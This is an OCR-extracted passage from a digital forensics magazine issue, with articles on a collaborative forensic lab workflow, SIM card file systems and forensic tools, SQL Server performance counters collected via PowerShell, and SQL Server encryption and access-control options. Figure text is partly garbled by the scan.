aminer has not maintained detailed records of the actions and processes ap-
plied during an investigation. A comprehensive record that validates all inves-
tigative processes, evidence continuity, and chain of custody related to digital
evidence is essential.

| have spent the majority of my professional life involved in law enforce-
ment. Having served as a police investigator and later as an investigative
consultant and expert witness, | have seen firsthand missteps that have de-
railed otherwise sound investigations. Here are three common mistakes:

1. Frequently, the digital forensic examiner has not been briefed into the
specifics of the broader investigation. Oftentimes, the examiner reviews
the processed data and selects those items he or she considers potential
evidence for review by the case investigators. Without awareness of the
examiner’s reasons for selecting data sources, case investigators may
think they have all relevant evidence.

2. Having the luxury of more than one technician performing the different ele-
ments of the workflow — imaging, processing, analyzing — can be a substantial
benefit. However, unless each technician documents their tasks, it can be a for-
midable undertaking to recreate who did what, when, and why, after the fact.
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3. In the heat of an investigation, forensic examiners will select certain operations and settings to per-
form during processing of digital evidence. If they do not document these decisions, examiners
could be challenged to remember their actions months or even years later while presenting evidence
in a court proceeding.

Conducting investigations “by the book” will prevent a lot of frustration and aggravation, especially if
the actions require defending in court. However, defining “by the book” has its own set of challenges.
The current digital forensic landscape of massive volumes and ever-changing data sources means that
what worked previously is no longer viable. To keep pace, or ideally stay a step ahead, investigation
teams need to be armed with the latest technologies. Advanced technology can streamline every inves-
tigation by combining information from numerous evidence sources and making it available for review by
case investigators and subject matter experts.

Establishing a collaborative investigative model is a robust solution that effectively minimizes future
missteps, while offering efficiencies in use of available resources. This model is designed for the entire
investigative team to collaborate on digital evidence following the same defined processes; thus, en-
abling them to analyze large quantities of digital evidence in less time.

THE INVESTIGATIVE LAB MODEL

The investigative lab model combines the tiered review system used in legal discovery with digital foren-
sic investigative methodologies. This model makes it possible to divide the work among many investiga-
tive experts all following the same repeatable processes for handling evidence. This model also ensures
a detailed accounting of the documented processes followed for each piece of evidence.

How the investigative lab model works: First step is gathering all evidence sources in one location for
a light metadata scan, which quickly spotlights relevant content requiring further analysis. These evi-
dence sources are then processed according to a pre-determined set of standards and settings.

The next step in the investigative lab model is dividing the relevant processed evidence into review
sets. At a simple level, this may involve sharing the work among numerous investigators so they can
complete the tasks faster. This model can also make specific evidence available for review by the rele-
vant specialists. With this model, experts gain the benefit of advanced investigative techniques for exam-
ining evidence such as data visualization. Visualization offers different angles for assessing the evidence
and quickly determining who, what, where, when, and why.

This investigative lab methodology ensures a consistent and repeatable outcome of a large quantity of
data reduced to small numbers of highly relevant evidence items. Large data sets can, subsequently, be
subdivided into smaller cases based on established criteria and the results recombined into a single case.

DEEP FORENSICS ONLY FOR SELECT EVIDENCE

Although forensic examiners are overwhelmed by the massive quantity of data, many are reluctant to
forgo deep technical analysis of all evidence sources. The biggest obstacle for investigators still relying
on traditional forensic approaches the time it takes to drill down through the volumes of data to find the
evidence that supports the case. Gaining wider acceptance is the realization that most key evidence is
found “in plain sight;” namely, emails, documents, spreadsheets, and images.

With the collaborative investigative lab model, in-depth forensic analysis is only required for the most
relevant evidence sources. After investigators have identified the smoking gun, this evidence can be
the subject of a deep forensic analysis in preparation for presentation to the courts or other authorities.
The investigative lab approach can also surface suspect data that is not clear-cut evidence, but where
in-depth analysis will likely uncover more details.

ABOUT THE AUTHOR
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UNDERSTANDING SIM
CARD FORENSICS

by Rohit Shaw

The SIM (subscriber identity module) is a fundamental
component of cellular phones. It’s also known as an integrated
circuit card (ICC), which is a microcontroller-based access
module. It is a physical entity and can be either a subscriber
identity module (SIM) or a universal integrated circuit card
(UICC). A SIM can be removed from a cellular handset and
inserted into another; it allows users to port identity, personal
information, and service between devices. All cell phones

are expected to incorporate some type of identity module
eventually, in part because of this useful property.

the UICC smart card running the universal subscriber identity mod-

ule (USIM) application. The UICC card accepts only 3G universal mo-
bile telecommunications service (UMTS) commands. USIMs are enhanced
versions of present-day SIMs, containing backward-compatible information.
A USIM has a unique feature in that it allows one phone to have multiple num-
bers. If the SIM and USIM application are running on the same UICC, then
they cannot be working simultaneously.

B asically, the ICC deployed for 2G networks was called a SIM and

The first SIM card was about the size of a credit card. As technology de-
veloped, the cell phone began to shrank in size and so did the SIM card.
The mini-SIM card, which is about one-third the size of a credit card. But
today we are using smartphones that use micro-SIM, which is smaller than
mini-SIM. These SIM cards vary in size but all have the functionality for both
the identification and authentication of the subscriber’s phone to its network
and all contain storage for phone numbers, SMS, and other information, and
allow for the creation of applications on the card itself.
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SIM STRUCTURE AND FILE SYSTEMS

A SIM card contains a processor and operating system with between 16 and 256 KB of persistent, elec-
tronically erasable, programmable read-only memory (EEPROM). It also contains RAM (random access
memory) and ROM (read-only memory). RAM controls the program execution flow and the ROM controls
the operating system work flow, user authentication, data encryption algorithm, and other applications.
The hierarchically organized file system of a SIM resides in persistent memory and stores data as names
and phone number entries, text messages, and network service settings. Depending on the phone used,
some information on the SIM may coexist in the memory of the phone. Alternatively, information may re-
side entirely in the memory of the phone instead of available memory on the SIM.

The hierarchical file system resides in EEPROM. The file system consists of three types of files: mas-
ter file (MF), dedicated files, and elementary files. The master file is the root of the file system. Dedicated
files are the subordinate directories of master files. Elementary files contain various types of data, struc-
tured as either a sequence of data bytes, a sequence of fixed-size records, or a fixed set of fixed-size
records used cyclically.
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Typical SIM Card File Svstem
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As can be seen in the above figure, dedicated files are subordinate directories under the MF, their contents
and functions being defined by the GSM11.11 standards. Three are usually present: DF (DCS1800), DF
(GSM), and DF (Telecom). Also present under the MF are EFs (ICCID). Subordinate to each of the DFs
are supporting EFs, which contain the actual data. The EFs under DF (DCS1800) and DF (GSM) contain
network-related information and the EFs under DF (Telecom) contain the service-related information.

All the files have headers, but only EFs contain data. The first byte of every header identifies the file
type and the header contains the information related to the structure of the files. The body of an EF con-
tains information related to the application. Files can be either administrative- or application-specific and
access to stored data is controlled by the operating system.

SECURITY IN SIM

SIM cards have built-in security features. The three file types, MF, DF, and EF, contain the security at-
tributes. These security features filter every execution and allow only those with proper authorization to
access the requested functionality. There are different levels of access conditions in DF and EF files.
They are:

+ Always — This condition allows to access files without any restrictions.

+ Card holder verification 1 (CHV1) — This condition allows access to files after successful verification
of the user’s PIN or if PIN verification is disabled.

+ Card holder verification 2 (CHV2) — This condition allows access to files after successful verification
of the user’s PIN2 or if the PIN2 verification is disabled.

* Administrative (ADM) — The card issuer who provides SIM to the subscriber can access only after
prescribed requirements for administrative access are fulfilled.

* Never (NEV) — Access of the file over the SIM/ME interface is forbidden.

The SIM operating system controls access to an element of the file system based on its access condition
and the type of action being attempted. The operating system allows only limited number of attempts,
usually three, to enter the correct CHV before further attempts are blocked. For unblocking, it requires
a PUK code, called the PIN unblocking key, which resets the CHV and attempt counter. If the subscriber
is known, then the unblock CHV1/CHV2 can be easily provided by the service provider.
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SENSITIVE DATA IN SIM

The SIM card contains sensitive information about the subscriber. Data such as contact lists and mes-
sages can be stored in SIM. SIM cards themselves contain a repository of data and information, some
of which is listed below:

Integrated circuit card identifier (ICCID)
International mobile subscriber identity (IMSI)
Service provider name (SPN)

Mobile country code (MCC)

Mobile network code (MNC)

Mobile subscriber identification number (MSIN)
Mobile station international subscriber directory number (MSISDN)
Abbreviated dialing numbers (ADN)

Last dialed numbers (LDN)

Short message service (SMS)

Language preference (LP)

Card holder verification (CHV1 and CHV2)
Ciphering key (Kc)

Ciphering key sequence number

Emergency call code

Fixed dialing numbers (FDN)

Local area identity (LAI)

Own dialing number

Temporary mobile subscriber identity (TMSI)
Routing area identifier (RIA) network code
Service dialing numbers (SDNs)

These data have forensics value and can be scattered from EF files. Now we will discuss some of these data.

A. SERVICE RELATED INFORMATION

ICCID: The integrated circuit card identification is a unique numeric identifier for the SIM that can be
up to 20 digits long. It consists of an industry identifier prefix (89 for telecommunications), followed
by a country code, an issuer identifier number, and an individual account identification number.
Twenty-digit ICCIDs have an additional “checksum” digit. One example of the interpretation of a hypo-
thetical nineteen digit ICCID (89 310 410 10 654378930 1) is shown below.

ISSUER IDENTIFICATION NUMBER (IIN) IS VARIABLE IN LENGTH UP TO A MAXIMUM OF SEVEN DIGITS

-The first two digits are fixed and make up the Industry Identifier. “89" refers to the telecommunica-
tions industry.
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-The next two or three digits refer to the mobile country code (MCC) as defined by ITU-T recommenda-
tion E.164. “310" refers to the United States.

-The next one to four digits refer to the mobile network code (MNC). This is a fixed nhumber for a country
or world zone. “410" refers to the operator, AT&T Mobility.

-The next two digits, “10,” pertain to the home location register.
INDIVIDUAL ACCOUNT INFORMATION IS VARIABLE IN LENGTH

-The next nine digits, “6564378930,” represent the individual account identification number. Every number
under one IIN has the same number of digits.

CHECK DIGIT - THE LAST DIGIT, “1,” IS COMPUTED FROM THE OTHER 18 DIGITS USING THE LUHN
ALGORITHM.

IMSI: The international mobile subscriber identity is a unique 15-digit number provided to the subscrib-
er. It has a similar structure to ICCID and consists of the MCC, MNC, and MSIN. An example of interpret-
ing a hypothetical 15-digit IMSI (302 720 123456789) is shown below:

+ MCC - The first three digits identify the country. “302" refers to Canada.

* MNC - The next two (European Standard) or three digits (North American Standard) identify the op-
erator. “720" refers to Rogers Communications.

* MSIN — The next nine digits, “123456789,” identify the mobile unit within a carrier’s GSM network

MSISDN — The Mobile Station International Subscriber Directory Number is intended to convey the tele-
phone number assigned to the subscriber for receiving calls on the phone. An example of the MSISDN
format is shown below:

+ CC can be up to 3 digits.
* NDC usually 2 or 3 digits.
* SN can be up to a maximum 10 digits.
B. PHONEBOOK AND CALL INFORMATION

1. Abbreviated dialing numbers (ADN) — Any number and name dialed by the subscriber is saved by
the ADN EF. The type of number and numbering plan identification is also maintained under this.
This function works on the subscriber’'s commonly dialed numbers. The ADN cannot be changed
by the service provider and they can be attributed to the user of the phone. Most SIMs provide
100 slots for ADN entries.

2. Fixed dialing numbers (FDN) — The FDN EF works similar to the ADN because it involves contact
numbers and names. With this function, the user doesn’t have to dial humbers; by pressing any
number pad of the phone, he can access to the contact number.

3. Last number dialed (LND) — The LND EF contains the number most recently dialed by the subscrib-
er. The number and name associated with that number is stored in this entry. Depending upon the
phone, it is also conceivable that the information may be stored in the handset and not on the SIM.
Any numbers that may be present can provide valuable information to an investigator.
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C. Messaging Information — Messaging is a communication medium by which text is entered on one cell
phone and delivered via the mobile phone network. The short message service contains texts and asso-
ciated parameters for the message. SMS entries contain other information besides the text itself, such as
the time an incoming message was sent, as recorded by the mobile phone network, the sender’s phone
number, the SMS center address, and the status of the entry. An SMS is limited to either 160 characters
(Latin alphabet) or 70 characters (for other alphabets). Longer messages are broken down by the send-
ing phone and reassembled by the receiving phone.

TOOLS FOR SIM FORENSICS

To perform forensic investigation on a SIM card, it has to be removed from the cell phone and connect to
a SIM card reader. The original data of SIM card is preserved by the elimination of write requests to the
SIM during its analysis. Then we calculate the HASH value of the data; hashing is used for checking the
integrity of the data, that is, whether it has changed or not. There are lots of forensic tools are available
but all tools are not able to extract data from every type of cell phone and SIM card. Now we will discuss
about some famous tools:

Encase Smartphone Examiner: This tool is specifically designed for gathering data from smartphones
and tablets such as iPhone, iPad, etc. It can capture evidence from devices that use the Apple iOS, HP
Palm OS, Windows Mobile OS, Google Android OS, or RIM Blackberry OS. It can acquire data from
Blackberry and iTunes backup files as well as a multitude of SD cards. The evidence can be seamlessly
integrated into EnCase Forensic.
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MOBILedit! Forensic: This tool can analyze phones via Bluetooth, IrDA, or cable connection; it analyz-
es SIMs through SIM readers and can read deleted messages from the SIM card.
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pySIM: A SIM card management tool capable of creating, editing, deleting, and performing backup and
restore operations on the SIM phonebook and SMS records.
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AccessData Mobile Phone Examiner (MPE) Plus: This tool supports for than 7000 phones including
iOS, Android, Blackberry, Windows Mobile, and Chinese devices and can be purchased as hardware
with a SIM card reader and data cables. File systems are immediately viewable and can be parsed in
MPE+ to locate lock code, EXIF, and any data contained in the mobile phone’s file system.
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SIMpull: SIMpull is a powerful tool, a SIM card acquisition application that allows you to acquire the en-
tire contents of a SIM card. This capability includes the retrieval of deleted SMS messages, a feature not
available on many other commercial SIM card acquisition programs. SIMpull first determines if the card
is either a GSM SIM or 3G USIM, then performs a logical acquisition of all files defined in either ETSI TS
151.011 (GSM) or ETSI TS 131.102 (USIM) standards.
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As can be seen in above figure, by using the SIMpull application we can see the information of SMS
such as a SMS text and its length, the SMS sender’s number information, service center information, etc.
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SQL SERVER PERFORMANCE
COUNTERS - POWERSHELL

by Chris Kitchen

What You Will Learn

The purpose of this article is to dis-
cuss at a high level a simple Power-
Shell application which collects use-
ful Windows Performance Monitor
Counters for highlighting potential
performance issues. The article then
goes on to discuss each of the coun-
ters in greater detail along with range
values to look for.

What You Should Know

The article assumes a general un-
derstanding of Windows Perfor-
mance Monitor Counters and a good
understanding of performance tun-
ing and the techniques involved.

he “PerformanceTest.zip” file contains PowerShell and batch file code

which is designed to collect specific performance data to analyze

the health of a server. The following steps act as a guide on collecting
the required performance data:

1. Copy the “PerformanceTest.zip” file to the required server and file path
location and unzip the file.

2. After unzipping the PerformanceTest.zip file a “PerformanceTest” folder is
now available and contains two files:
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3. Double-click “Execute.bat”, follow the onscreen instructions and enter the
required server name, the number of sample collections, and the interval
(seconds) between each sample collection:
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ormpation please review the following output log Files:
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Contained within the same directory as the “Execute.bat” file is two output log files which have been
generated as part of the “Performance Counter Collection” process:

wr ¥ ¥ _E_E-J.-,'tm k I:K'__Tr_mp k| PerforrnanceTest

U Include in hbrary = Shaie wath + M foldes

Execute. bat F
Executelog.bxt 14 t i
PerformanceCounterCellectionta
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The “ExecutelLog.txt” output log file contains any errors generated during the execution of the “Exe-
cute.bat” file. If this file has a size of 0 KB, it can be ignored.

The “PerformanceCounterCollection.txt” file contains the performance data from the server:
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There are x4 columns contained within the “PerformanceCounterCollection.txt” file:

* Performance Counter Name (Path)

* Performance Counter Collected Value (CookedValue)

+ Exact Date/Time The Performance Counter Collected Value Was Extracted (Timestamp)

*  Which Sample The Performance Counter Collected Refers To (LoadFlag)

At this stage the “PerformanceCounterCollection.txt” file can be imported into Excel for a more detailed
analysis of the output. The remainder of this article describes each of the performance counters which
are collected and what output values to look out for.

In a future article | will discuss how PowerShell can be utilized to analyze the output values collected
and produce a management report describing areas of concern.

FISHING FOR ISSUES COUNTERS...

Utilizing the five performance counters listed below is a quick and efficient method to obtain an overall
impression of a “system health state” and where the problems are, if they exist. The thought process be-
hind the “Fishing For Issues” counters | have selected to use in the software was to pick counters which
would typically have a value rating close to zero on a healthy system, and a high value when a system
resource is experiencing a request overload. In reality, the value is never likely to be zero as even in a full
idle state, low level thread processing will still take place. Here are the five counters...

PROCESSOR UTILIZATION

SYSTEM\PROCESSOR QUEUE LENGTH

Description — This counter details the number of threads queued and waiting for time on the CPU.
The output number must be divided by the number of CPUs in the system. What to Look for — A value
range of 0 — 10, here is a good indication that the “system health state” for the system is health.

MEMORY UTILIZATION

MEMORY\PAGES INPUT/SEC

Description — This counter shows the rate at which pages are read from disk to resolve hard page faults.
What this actually translates to is the number of times the system was forced to retrieve something from
disk that should have been in RAM — Data retrieval from disk is much less efficient that RAM; therefore,
this process must be avoided wherever possible. The counter details the likelihood of having a memory-
bound system or not, and without a doubt provides the best indication as to whether or not this is the
case. What to Look for — Expect the occasional spike, the remaining time this counter value should re-
main close to 0 (zero).

DISK UTILIZATION

PHYSICALDISK\CURRENT DISK QUEUE LENGTH\_TOTAL
Description — This counter is a very useful and valuable counter to watch. It shows how many read or
write requests are waiting to execute to the disk.

What to Look for — Single Storage disks will typically idle with a counter value in the region of 1-4, with
occasional spikes which are completely acceptable. For RAID arrays, the counter value must be divided
by the number of active spindles in the array; and again a counter value in the region of 1-4. Once this
counter value is consistently in the region of 8 or more, this is a strong suggestion that there are data
pages not being retained in Memory as long as expected; therefore, applications have to retrieve the
data from disk, hence the counter value is higher. What | have just described is a very common sce-
nario and the two issues go hand-in-hand. One way to quickly confirm whether or not this is the case is
to monitor the “Memory\Pages Input/Sec” counter.
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NETWORK UTILIZATION

NETWORK INTERFACE\OUTPUT QUEUE LENGTH\(*)
Description — This counter refers to the number of packets currently held in a queue waiting to be sent
across to the network.

What to Look for — A sustained average of 3 or more packets in a queue suggests a network bottleneck issue.

NETWORK INTERFACE\PACKETS RECEIVED ERRORS\(¥)
Description — This counter refers to the number of packet errors that kept the TCP/IP stack from deliver-
ing packets to higher layers.

What to Look for — This counter is usually a good indication of a hardware error when the counter value
is consistently in high double figures.

GENERAL ACTIVITY COUNTERS...

Even if a system is working well, there are some more general counter values which can be collected to
see how hard the system is working overall. Is the processor working hard, or hardly working? How much
RAM is in use, how many bytes are being written to or read from the disk or network? The following coun-
ters are a good overview of general activity of the system.

PROCESSOR UTILIZATION

PROCESSOR(_TOTAL)\% PROCESSOR TIME
Description — This counter is useful for a quick overview as to how utilized the CPU is at any given time.

What to Look for — Ideally a figure that is consistently less than 70%, however it is important not to as-
sociate a 100% processor utilization counter value with a “system health state” of poor (slow) as this
would not be a true/correct representation. Instead the “processor queue length” counter referenced in
the “Fishing For Issues Counters” section of this document will provide a true representation.

MEMORY UTILIZATION

PROCESS(_TOTAL)\WORKING SET
Description — This counter represents how much memory is in the working set which is performing the
tasks currently required on the server.

What to Look for — Ideally a low counter value typically less than 30% of the available memory.

MEMORY\AVAILABLE MBYTES
Description — This counter represents the amount of available Memory for processes on the server.

What to Look for — Ideally a high counter value typically around 40% of the available memory.

MEMORY\PAGES/SEC

Description — This counter is the number of pages read from the disk or written to the disk to resolve
memory references to pages that were not in memory at the time of the reference. A high counter value
may not always relate to either a paging file activity or cache activity. These high values may instead
be caused by the application sequentially reading a memory mapped file.

What to Look for — Ideally less than 1000 for a “system health state” of healthy.
PAGING FILE(*)\% USAGE
Description — This counter shows the current amount of Page file being used. This is a key number when
weighing the amount of memory allocated to the OS. If this number is high, then the OS is choked for RAM.
Either increase the RAM on the box or deallocate from RAM allocations from applications on the server.

What to Look for — Ideally, if this counter value is hitting the range of between 10% and 25% then
the server should be rebooted.
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MEMORY\PAGES INPUT/SEC

Description — This counter measures the rate at which pages are read from disk to resolve hard page
faults. Hard page faults occur when a process refers to a page in virtual memory that is not in its working
set, or elsewhere in physical memory, and must be retrieved from disk. When a page is faulted, the sys-
tem tries to read multiple contiguous pages into memory to maximize the benefit of the read operation.

What to Look for — Ideally, this value should not be greater than 1,000, as at this point performance
degradation will start to become apparent.

DISK UTILIZATION

PHYSICALDISK(*)\BYTES/SEC
Description — This counter shows the number of bytes per second being written to or read from the disk.

What to Look for — Ideally less than 8ms, as this is defined as excellent throughput, anything more than
25ms is into the poor throughput territory.

PHYSICALDISK\AVERAGE DISK/SEC/READ

Description — This counter is a measure of disk latency. Avg. Disk sec/Read is the average time, in
seconds, of a read of data from the disk. While it is better to have fast disk read times, this can easily
be compensated for by allocating enough RAM to the server.

What to Look for — Ideally less than 8ms, as this is defined as excellent throughput, anything more than
25ms is into the poor throughput territory.

PHYSICALDISK\AVERAGE DISK/SEC/WRITE
Description — This counter is a measure of disk latency. Avg. Disk sec/Write is the average time, in sec-
onds, of a write of data to the disk.

What to Look for — Ideally less than 8ms (non cached), and less than 1ms (cached).

PHYSICALDISK(*)\CURRENT DISK QUEUE LENGTH

Description — This counter is the number of requests outstanding on the disk at the time the performance
data is collected. It also includes requests in service at the time of the collection. This is an instantaneous
shapshot, not an average over the time interval. Multi-spindle disk devices can have multiple requests
that are active at one time, but other concurrent requests are awaiting service. This counter might re-
flect a transitory high or low queue length, but if there is a sustained load on the disk drive, it is likely that
this will be consistently high. Requests experience delays proportional to the length of this queue minus
the number of spindles on the disks. For good performance, this difference should average less than two.

What to Look for — Ideally this counter value should not be greater than 2.
NETWORK UTILIZATION

NETWORK INTERFACE(*)\BYTES TOTAL/SEC

Description — This counter measures the number of bytes sent or received over each network adapter,
including framing characters. Network Interface\Bytes Total/sec is a sum of Network Interface\Bytes Re-
ceived/sec and Network Interface\Bytes Sent/sec. What to Look for — Ideally less than 40% of the inter-
face consumed, as this is deemed a healthy range, 41%-64% of the interface consumed is usually time
to start monitoring the server and become slightly cautious, and 65-100% of the interface consumed is
deemed as critical, and the performance will be adversely affected.

NETWORK INTERFACE(*)\OUTPUT QUEUE LENGTH

Description — This counter is the length of the output packet queue (in packets). If this is longer than two,
there are delays and the bottleneck should be found and eliminated, if possible. Since the requests are
queued by the Network Driver Interface Specification (NDIS) in this implementation, this will always be 0.
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What to Look for — Ideally 0, as this is deemed as a healthy server state, 1-2 is usually time to start
monitoring the server and become slightly cautious, and greater than 2 is deemed as critical, and the
performance will be adversely affected.

NETWORK INTERFACE(*)\PACKETS RECEIVED ERRORS
Description — This counter is the number of inbound packets that contained errors preventing them from
being deliverable to a higher-layer protocol.

What to Look for — Ideally 0; sustained values greater than 0 suggests possible hardware errors which
must be investigated.

SYSTEM UTILIZATION

SYSTEM\PROCESSOR QUEUE LENGTH

Description — This counter is the number of threads in the processor queue. Unlike the disk counters,
this counter shows ready threads only, not threads that are running. There is a single queue for proces-
sor time even on computers with multiple processors. Therefore, if a computer has multiple processors,
you need to divide this value by the number of processors servicing the workload. A sustained processor
queue of less than 10 threads per processor is normally acceptable, dependent of the workload.

What to Look for — Ideally less than 2; if the counter value is greater than 2 for sustained periods this
suggests there is a CPU bottleneck.

HOW TO DOWNLOAD THE APP...
Click here to download a .zip file which contains all the required content. Please ensure PowerShell v2
is installed on the client or server you are executing the application from.

ABOUT THE AUTHOR

Chris Kitchen — A Sql Server Administrator/Developer with 12 years’ experience, starting out as a junior data analyst right
through to technical lead. The industries | have worked in range from consultancies to government, blue chip and financial.
For those of you interested (or seriously board) you can find my resume online here.

« » www.eForensicsMag.com


http://www.sqlassociates.co.uk/AppDownload/PerformanceTest.zip
http://uk.linkedin.com/pub/chris-kitchen/24/448/a49

EFOPEHSICS

a g a z i

SQL SERVER DATA
ENCRYPTION
& ACCESS

by Chris Kitchen

The term database encryption is used to describe many different
methods of data protection, implemented either outside or within
the database engine. Conceptually, a database is a sophisticated

storage bucket to put data in. Taking this analogy one step further,

you can protect the entire box (File/OS), the entire contents of the
box (Full database), or some subset of the content within the box
(Column, Table, Schema). We can apply encryption to the contents

n e

through native database functions or externally with third party
tools, but both are called database encryption.

What You Will Learn

* The purpose of this article is to dis-
cuss at a high level, some of the
available options for encrypting
and restricting access to data held
within a Sql Server database. It de-
scribes a number of available op-
tions and also looks at some of the
advantages and limitations of each
from a technical perspective.

* The article serves as an initial intro-
duction to the different encryption
and data access restriction meth-
ods; subsequent articles will per-
form a deep dive into each of the
available methods.

What You Should Know

 The article assumes a general un-
derstanding of database encryp-
tion, a good understanding of Sql
Server security methodologies and
an all-round understanding of Sql
Server Administration and Devel-
opment.

tivity from clients when it comes to database encryption. Data security

professionals often view it as a redundant control, only effective in the
event other security measures and polices fail. Application developers have
avoided database encryption because the burden of implementation would
land on them, adding complexity to the design and implementation of both ap-
plication and database schemas. IT managers as a rule dislike the additional
complexity around backup, recovery, user provisioning, and key management.
And everyone is wary of the issues surrounding performance degradation.

Q s a Sql Server consultant, | am often met with a surprising level of nega-

Having said that, | am often asked by clients “which sql server encryption
type is the best” and the honest answer is, “it depends”. There are a huge
number of factors which all come together to determine which approach is
the most suitable for a data set — the majority of which can be answered and
categorised with 3 simple questions which will be discussed later in this ar-
ticle. The aim here is to cover off the core out of the box Sql Server encryption
options to assist in the decision making process and also offer up a security
based data access option.

A LOOK AT THE OPTIONS

Built into Sql Server (Software Edition dependent) are several features which can
encrypt and/or restrict access to specific tables/columns/rows/cells within a da-
tabase. These features are fully compatible with all other features of Sql Server.
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SQL SERVER OPTION #1 - TRANSPARENT DATA ENCRYPTION (TDE)

Sql Server TDE protects data at rest by performing real-time 1/0O encryption and decryption of a SQL
Server database’s data and log files using DDL statements. The SQL Server engine handles all of the
encryption and decryption work. TDE uses the AES and 3DES encryption algorithms, and the encryption
and decryption operations are run on background threads by SQL Server. No application changes are
required to take advantage of TDE. Backups of databases protected by TDE are also encrypted. The en-
cryption and decryption process do require additional CPU cycles. From personal experience, the over-
head for using TDE is less than 5%, depending on the type of workload.

TDE will always allow Sql Server SysAdmin and Security Admin users access to the un-encrypted data
— TDE cannot be configured to stop this. Also TDE only encrypts the data at rest, therefore data sentto a
client is not encrypted, however TDE can easily be integrated with SSL to achieve this.

Figure 1 details at a high level the TDE architecture:

Clicnt Sgl Enginc Buffer Pool TDE Storagce

-_\H. _ L p . v x__‘.. . =
Not Encrypted Encrypted
Figure 1.
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Figure 2 provides more detail on the TDE process:
Windows OS Level Data Protection API (DPAPI)

V. DPAPI Encrypts The Service Master Key

Sql Server Instance Level Service MasterKey = _ -~ /
J

Service Master Key Encrypts The Database
Y/ Master Key For The [master] Database.

[master] Database Level Database Master Key " /

Database Master Key Of The [master] Database
!'; Creates A Certificate In The [master] Database.

»
The Certificate Encrypts The Database Encryption
b/ Key In The [LATONA] Database.

User Database Level Database Encryption Key

A /

b

e

= The Entire User Database Is Secured By The Database
v Encryption Key (DEK) Of The User Database By Using TDE

Figure 2.

SQL SERVER OPTION #2 — ROW LEVEL SECURITY (RLS)

At a high-level RLS take the permissions away from a Sql Server object table, create a series of security
tables and roles that allow Sql Server to validate each security access level for the user. After setting up
the security hierarchy and labels, a view of the table is implemented to filter what the user can query via
the security levels and login credentials. Select, Insert, Update and Delete statements are then executed
against the view rather than the table. NOTE: This is not encryption; this process removes selectivity ac-
cess to the data through an additional embedded database security model.
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SQL SERVER OPTION #3 - CELL LEVEL ENCRYPTION

It is possible that data may need control at a finer level of detail than RLS. This is where Cell Level En-
cryption comes into play — Most of a row might need to be visible a one set of users, while certain more
sensitive cells might require additional permissions to view.

Within the scope of a database connection, Sql Server can maintain multiple open symmetric keys.
The definition of “open” is they are retrieved from the store and ready to be used for decrypting data.
When a piece of data is decrypted, there is no need to specify the symmetric key to use. Instead, the
engine matches the encrypted byte stream to an open symmetric key, if the correct key has been de-
crypted and is open. This key is then used to perform decryption and return the data. If the correct key
is not open, NULL is returned.
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The ability of a key to be “open” depends directly on the Access Control List (ACL) on the key.
Given these mechanics of Sqgl Server encryption support, consider the following approach:

+ Create a symmetric key for each unique label that is used to mark data in the database.

* Encrypt data in labelled cells with the corresponding key.

» Control access to keys in such a way that exactly the keys which map to labels dominated by the us-
er’s label can be opened. Provide a simple way to have all these keys opened when the connection
is established.

» Use a view over the base table to include calls to the decryption API in the SELECT statement that
defines the view

'!_

Windows Level

L

Service Master Key Encrypted With DPAPI

5ql Server Level

Service Master Key L2 )
= Database Level
L] ”
; ; Databasc Mastoer Koy
o o
-
-
Certiticates Asymmetric Keys
Syrnmetric Keys Symrmnetric Keys
symmetric Koys Data
Data
Nata
Figure 4.

SQL SERVER OPTION #4 -COLUMN PERMISSION
Sql Server allows the setting of column level permissions thus granting/denying access to certain col-
umns for specific user accounts.

In this example a standard Sql Server login account [Test] has been created, then assigned a User
Mapping to the [XXXX] database but not granted any database role membership(s). Explicit SELECT
permissions on all columns of the table [XXXX].dbo.[XXXXXXX] except for final column [XXXX_Descr]
have then been granted:
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GRANT SELECT ON dbo i CEmmmah) TO Test

GRANT SELECT ON dbo i s ) TO Test

GRANT SELECT ON dbc.__— TO Test
GRANT SELECT ON dbo .« A, ) 70 Tes

GRANT SELECT ON dbo _— TO Test
GRANT SELECT ON dbo Qs SOl ) TO Test

GRANT SELECT ON dbo s ey | T0 Test
GRANT SELECT ON dbo s R | 70 Test
GRANT SELECT ON dbo o UG | T0 Test
GRANT SELECT ON dbo s SR | T0 Test

When the user [Test] then executes a SELECT statement against the table [XXXX].dbo.[XXXXXXX] (ex-
cluding the column the account is not permissioned to view — [XXXX_Descr]) this is the outputs returned:

Figure 5.

When the user [Test] then executes a SELECT statement against the table [XXXX].dbo.[XXXXXXX] (in-
cluding the column the account is not permissioned to view [XXXX_Descr]) this is the outputs returned:

5 Hemsgen
Figure 6.

Figure 7 shows that the user [Test] is still able to execute [sp_help] against the table [XXXX].dbo.
[XXXXXXX] and see the column [XXXX_Descr] even though [Test] does not have access to the data held
within that column. Therefore the user [Test] can still develop against a full schema version of this table.

sp_help '[ S .[doc] . [
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I 3 r——" wiechér  fa Fa - o L - SO, _Latn]_Gerseral_CP1_C1_AS I
4 TSI, e na HULL
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T PR vadhe ™ ] Y=y L ey SOL_Latn | _Gereral_CF1_CI_AS
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Figure 7.
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ADVANTAGES & LIMITATIONS OF THE OPTIONS DISCUSSED
Below are high level “Advantage | Limitation” tables for each of the available options:

Sql Server 2008 R2 Enterprise Feature #1 (TDE)

Feature already part of Sql Server Enterprise Edition

Difficult to develop against cipher text

Fully integrated into Sql Server and MS supported

Performance impact of ~5%

Encrypting at a database level protects all entry points

TDE does not provide the same granular control, specific to
a user or database role, as is offered by cell-level encryption

Implementation of TDE does not require any schema or
application modifications

Use of TDE renders negligible any benefits to be gained
from backup compression, as the backup files will be only
minimally compressed. It is not recommended to use
these two features together on the same database

Since the physical data files and not the data itself are
encrypted, the primary keys and indexes on the data are
unaffected, and so optimal query execution can be maintained

Buffer pool data remains in clear text

The decryption process is invisible to the end user

Maintenance tasks required to ensure the encryption keys
are stored and protected correctly

Does not encrypt at a cell level

Encryption can be removed by the SysAdmin account
holders on the Sql Server instance

Sql Server 2008 R2 Enterprise Feature #2 (RLS)

Feature already part of Sql Server Enterprise Edition

Difficult to develop against missing/empty text

Fully integrated into Sql Server and MS supported

Additional schema objects required

Securing at a database level protects all entry points

Performance impact of ~10%

Efficiently integrates into the Sql Server security architecture

Requires additional database objects

Does not encrypt the data

Implementation can be bypassed by Sql Server SysAdmin
account holders

Sql Server 2008 R2 Enterprise Feature #3 (Cell Level Encryption)

Feature already part of Sql Server Enterprise Edition

Difficult to develop against missing/empty text

Fully integrated into Sql Server and MS supported

Performance impact of ~15%

Securing at a database level protects all entry points

Requires additional database objects

Efficiently integrates into the Sql Server security architecture

Requires base table structure changes

Implementation can be bypassed by Sql Server SysAdmin
account holders

